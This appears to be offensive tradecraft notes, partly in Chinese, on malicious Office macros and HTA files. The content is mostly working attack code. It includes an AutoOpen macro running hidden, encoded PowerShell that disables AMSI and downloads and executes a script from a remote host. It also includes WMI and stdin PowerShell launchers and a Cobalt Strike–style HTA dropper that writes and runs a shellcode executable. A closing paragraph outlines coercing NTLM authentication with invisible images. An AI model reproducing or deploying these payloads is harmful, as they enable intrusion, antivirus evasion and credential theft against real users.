Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
HTA 是一个 结合了 HTML 和脚本语言(如 VBScript 和 JScript) 的 Windows 程序。它生成用户界面并作为一个“完全受信任”的应用程序执行,没有浏览器安全模型的限制。
HTA 使用 mshta.exe 执行,通常 与 Internet Explorer 一起安装,使 mshta 依赖于 IE。因此,如果 IE 被卸载,HTA 将无法执行。
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
强制 NTLM 认证
有几种远程强制 NTLM 认证的方法,例如,您可以向电子邮件或 HTML 添加不可见图像,用户将访问这些图像(甚至可能是 HTTP 中间人攻击?)。或者向受害者发送文件地址,只需打开文件夹就会触发认证。